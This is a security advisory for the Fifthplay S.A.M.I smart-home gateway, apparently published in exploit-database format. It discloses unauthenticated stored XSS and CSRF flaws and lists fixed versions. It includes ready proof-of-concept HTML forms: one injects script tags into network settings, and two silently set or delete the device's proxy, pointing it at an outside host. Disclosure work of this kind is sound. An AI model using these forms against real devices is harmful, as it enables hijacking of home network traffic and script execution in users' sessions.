Fifthplay S.A.M.I 2019.2_HP – Persistent Cross-Site Scripting
# Exploit Title: Fifthplay S.A.M.I 2019.2_HP - Persistent Cross-Site Scripting # Date: 2020-01-29 # Exploit Author: LiquidWorm # Vendor: Fifthplay NV # Vendor Homepage: https://www.fifthplay.com # Version: 2019.2_HP # Tested on: Linux # CVE : - Fifthplay S.A.M.I - Service And Management Interface Unauthenticated Stored XSS Vendor: Fifthplay NV Product web page: https://www.fifthplay.com Affected version: Platform: HAM V1.2 HAM V1.1 HAM V1.0 DINHAM 10W Image Version: 2019.3-20190605144803 2019.2_HP-20190808154634 2018.4_HP-20181015152950 2018.2-20180516100815 2017.2_HP-20180213083050 2013.4_HP-201309301203 AMP Version: 2019.2_HP 2018.4_HP 2017.2_HP 2013.4_HP R20.19.03 R20.18.02 Fix: 2017.2-HP4 2018.4_HP3 2018.5_HP7 2019.2_HP3 2019.3_HP1 Summary: Fifthplay is a Belgian high-tech player and a subsidiary of Niko Group. We specialise in enriching smart homes and buildings for almost 10 years, and in services that provide comfort and energy. Our gateway provides a modular approach to integrating old and new technologies, such as smart meters, optical meters, sockets, switches. Fifthplay is a trendsetter with regards to smart homes and buildings and one of the sector's most innovative companies. Desc: The application suffers from an unauthenticated stored XSS through POST request. The issue is triggered when input passed via several parameters is not properly sanitized before being returned to the user. This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of an affected site. The application interface also allows users to perform certain actions via HTTP requests without performing any validity checks to verify the requests. This can be exploited to perform certain actions if a user visits a malicious web site. Tested on: lighttpd/1.4.33 PHP/5.4.33 PHP/5.3.19 Vulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2020-5561 Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5561.php 29.09.2019 -- Stored XSS: ----------- <html> <body> <form action="http://192.168.11.1/?page=networksettings" method="POST"> <input type="hidden" name="server" value='"><script>prompt(251)</script>' /> <input type="hidden" name="port" value='"><script>prompt(252)</script>' /> <input type="hidden" name="auth" value="1" /> <input type="hidden" name="user" value='"><script>prompt(253)</script>' /> <input type="hidden" name="pass" value='"><script>prompt(254)</script>' /> <input type="hidden" name="submit" value="Change" /> <input type="submit" value="Write" /> </form> </body> </html> Set proxy CSRF: --------------- <html> <body> <form action="http://192.168.11.1/?page=networksettings" method="POST"> <input type="hidden" name="server" value="proxy.segfault.mk" /> <input type="hidden" name="port" value="8080" /> <input type="hidden" name="auth" value="1" /> <input type="hidden" name="user" value="testuser" /> <input type="hidden" name="pass" value="testpass" /> <input type="hidden" name="submit" value="Change" /> <input type="submit" value="Write" /> </form> </body> </html> Delete proxy CSRF: ------------------ <html> <body> <form action="http://192.168.11.1/?page=networksettings" method="POST"> <input type="hidden" name="server" value="proxy.segfault.mk" /> <input type="hidden" name="port" value="8080" /> <input type="hidden" name="auth" value="1" /> <input type="hidden" name="user" value="testuser" /> <input type="hidden" name="pass" value="testpass" /> <input type="hidden" name="delete" value="Delete" /> <input type="submit" value="Clear" /> </form> </body> </html> |